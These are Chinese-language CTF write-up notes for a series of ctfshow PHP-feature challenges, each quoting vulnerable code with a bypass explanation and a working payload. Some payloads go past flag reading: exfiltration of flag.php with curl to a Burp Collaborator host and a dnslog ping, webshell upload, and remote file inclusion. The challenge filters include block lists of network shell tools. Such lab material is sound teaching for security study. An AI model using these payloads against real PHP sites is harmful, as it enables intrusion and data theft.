1.
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
知识点
preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
/?num[]
2.
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
运用了三个等号
可以使用+4476
也可以用八进制十六进制绕过 intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里===表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c
还可以用4476#
在URL中,#符号通常用于标识页面内的锚点(例如,页面内的某个位置)。在PHP中,$_GET数组只包含?之后的部分,不包括#以及其后面的内容。因此,?num=4476#中的4476#部分不会被$_GET['num']捕获,而$num将只包含4476,从而绕过了第一个条件检查。
3.
正则表达式中$的意思
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。
PHP 正则表达式(PCRE) preg_match 函数用于执行一个正则表达式匹配
<?php
//by Firebasky
show_source(__FILE__);
//error_reporting(0);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
?>
对于正则表达式/^php$/im,它的含义是:
- ^: 匹配输入的开始。
- php: 匹配字母序列 "php"。
- $: 匹配输入的结尾。
- /im: 是模式修饰符,i 表示匹配时不区分大小写,m 表示多行模式。
漏洞点
apache2.40~2.4.29版本中存在这个漏洞
使用我们在看一看正则表达式中$的意思
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。
所以如果设置RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)
所以使用%0a绕过,前面加一个%0a后面加一个%0a
4.
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
if(!strpos($num, "0"))代表查询是否有零,并返回零第一次出现的位置,如果没有0则为false
那么恒成立所以必须有零,如果第一位是0的话,则返回零,所以第一位不能是0
那么可以在开头加一个空格绕过
也可以加一个.0进行绕过
由于intval是整形所以4476.0可以绕过
5.
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
payload:u=./flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
6.
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
get新姿势
php检查两数组是否相等的时候,不会检查指针是否相等,而是会检查元素是否
md5对数组无法加密只会返回false
所以进行绕过
hackbar发送post
a[]=1&b[]=2
7.
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
get到新姿势点
三目运算,这个能看出来,无非转化为ifelse不影响做题
php中的引用函数 变量的引用赋值: $a = &$b
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
8.
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
0x36d等于877
array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同
综上,我们可以发现数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意,只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件,同时进入下一步后,我们就可将一句话木马写入了5.php中,然后蚁剑连接即可查看到flag
9.
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
姿势点
=优先级高于and
所以v1的作用是作为一个true的数字来写入的
也就是写入个大于0的数字
v2的话没有什么限制直接执行语句就是了
v3随便来个字符
payload:v1=4&v2=var_dump($ctfshow)&v3=;
v1=4&v2=system(%27tac%20ctfshow.php%27)/*&v3=*/;
/**/为注释掉里面内容
之后得到的flag不能用
吧0x2d换成-
AAuncode
10.
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
由于涉及了类,可以利用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
?v1=1&v2=echo new Reflectionclass&v3=;
11.
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
:
v2首先得是数字这样v4为true一眼看出来了
之后v2从第二位开始截取字符串,那么只需要随便在开头写了个字符就可以了
到了v1,call_user_func首先是调用函数名,之后是调用函数所进行得函数值
那么就是对v2进行解码,但是要求v2必须全是数字
那么就是hex16进制转码
之后把输出得结果输入进v3
那么v3得是构造好的网页
所以v2的话就好构造了
传个马上去webshell一连就getshell了
根据eval执行也可以调用tac
v3的文件名还必须得自己构造
那么可以通过伪协议构造
也可以直接用插件判断用的是php和nginx
16进制写入v2的话可以带e
因为e是科学计数根
如果根据伪协议的话那么还得再对v2进行一次编码再用伪协议解码出来
tac(<?=`tac *`;):v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST:v1=hex2bin
12
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
13.
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
如果你通过GET请求传递了参数 x=flag,那么在 foreach 循环中,$key 将会是 'x',而 $value 将会是 'flag'。然后,$$key=$$value; 将被解释为 $x=$flag;。
if(!($_POST['flag']==$flag))
- 这个表达式使用了逻辑非运算符 !,它的作用是取反。也就是说,如果 $_POST['flag']==$flag 为 false,那么 !($_POST['flag']==$flag) 就为 true;反之亦然。
- 如果 $_POST['flag'] 不等于 $flag,也就是用户提交的 flag 不正确,那么 !($_POST['flag']==$flag) 就为 true,接下来就会执行 die($error);。
所以我们要把$error=$flag=$x
所以要把x=error即可
payload GET: ?x=flag POST: error=x
14.
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
?>
简简单单
payload ?v2[1]=1 post:v1[1]=2
15.
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
v2没有用,直接设置为false=v3数组的false,v1给个数字即可
所以不需要填写v2
至于
parse_str($v1,$v2);函数
举个例子
$v1 = "name=John&age=25&city=NewYork";
parse_str($v1, $v2);
在这个例子中,$v2 将会变成一个关联数组,其内容如下:
php
$v2 = array(
'name' => 'John',
'age' => '25',
'city' => 'NewYork'
);
了解即可
但根据这个特性可以延伸出新解法
我们只要满足v3的md5等于v2[flag]即可。可以传递给v3任意值,然后v1=flag=v3的md5值。
16.
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
首先绕过正则,那么就只需要带个字母,但
- ^ 表示字符串的开头。
- [a-zA-Z] 表示匹配一个字母,大小写不限。
- + 表示匹配前面的字母至少一次。
- $ 表示字符串的结尾。
- 意味着匹配当前整个字符串字符
那么使用%00拦短正则
之后0x36d=877,字符串逆转为778,之后进行匹配,前面带个a移植末尾
intval 会忽略非数字字符后的部分。所以,实际比较的是 0x36d 和 877
17.
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
用匿名类绕过
?v1=class{ public function __construct(){ system('ls'); } };&v2=a
18.
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());")
}
?>
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录 返回当前工作目录
payload: ?v1=FilesystemIterator&v2=getcwd
19.
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
把v2设置一个$GLOBALS:全局变量,包含所有的变量,V1=ctfshow进行正则绕过,之后$$v1=$$v2则$ctfshow=$GLOBALS,再进行var_dump($$v1);即可
20.
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1.is_file():判断参数是否为文件
绕过:使用伪协议绕过并且读取;
2.伪协议:
1.php://filter/read=convert.base64-encode/recource=flag.php;//base64编码读文件;
2.php://filter/resource=flag.php //直接读文件;
支持伪协议的函数:
1. highlight_file()
2.file_get_contents()
3.file_put_contents()
payload:?file=php://filter/resource=flag.php
compress.zlib://flag.php
21.
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符%0c==\f,%09,%20都可以让is_numeric()函数为true;
22.
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
$c=$_POST['fun'];:从 POST 请求中获取名为 'fun' 的参数,并将其值赋给变量 $c。这个参数可能是用户输入的内容,用于后续的代码执行。
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
23.
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
/?1=flag.php
24.
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
姿势点
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
paayload
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($_SERVER['QUERY_STRING'])
这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为空字符串,然后使用 assert($_SERVER['QUERY_STRING']) 执行 assert 函数,其中传递的参数是 $_SERVER['QUERY_STRING']。
在网页模式下,$_SERVER['QUERY_STRING'] 包含了从 URL 中获取的查询字符串。在你的代码中,它被直接传递给了 assert 函数。
这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。因为 assert 函数用于执行字符串中的 PHP 代码。
25.
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
php在解析查询字符串时,它会做两件事:
删除空白符
将某些字符转换为下划线(包括空格)
还有以下字符等同于ctf_show
+ _ [ . 转换成下划线
GET:?ctf show=ilove36d
26.
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
gettext(message)。 ```。 其中,message是要翻译的字符串。如果该字符串存在翻译,则返回翻译后的字符串。如果不存在翻译,则返回原始字符串
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars
这种省略括号的语法是从 PHP 5.4 版本开始引入的,主要是为了提高代码的可读性和简洁性。在使用时,可以选择加上括号或者省略括号,两者都是合法的语法形式。
26.
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) 所以payload必须得带有ctfshow
if(stripos($f, 'ctfshow') > 0):使用 stripos 函数检查变量 $f 中是否包含子字符串 'ctfshow'(不区分大小写)。
方法一 payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag
方法二 ?f=http://url/xxx.txt?ctfshow 远程文件包含,在自己的服务器上写一个一句话,保存为txt格式
方法三 f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php 伪协议
27.
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
使用正则表达式 preg_match('/.+?ctfshow/is', $f) 检查变量 $f 是否包含 'ctfshow' 子字符串,忽略大小写。如果匹配成功,输出 'bye!' 并终止脚本。
使用 stripos($f, 'ctfshow') === FALSE 检查变量 $f 中是否包含 'ctfshow' 子字符串,如果不包含,输出 'bye!!' 并终止脚本
既然不能是子字符串,那么可以是字符串,直接传入ctfshow
28.
采用了正则溢出
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
正则表达式在一百万次之后会进行溢出,变成false
之后利用这个
可以直接写一个for循环遍历25万次的very
之后复制粘贴在36Dctfshow前面
也可以直接post传值传very36Dctfshow25万次
29.
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
if(false && false || ture) 与”(&&) 运算 或”(||) 运算
30.
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
在这里插入图片描述所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag
31.
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d
32.
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
payload1
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
payload2
?F=`$F`+;cp+flag.php+1.txt(?F=`$F`;+cp+flag.php+1.txt)
33.
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK
34.
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
考察: call_user_func()函数的使用
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
ctfshow=ctfshow::getFlag
35.
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
call_user_func函数中的调用方式
strripos函数-计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
用call_user_func()来调用一个类里面的方法
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
故而采用数组传值
ctfshow[0]=ctfshow&ctfshow[1]=getFlag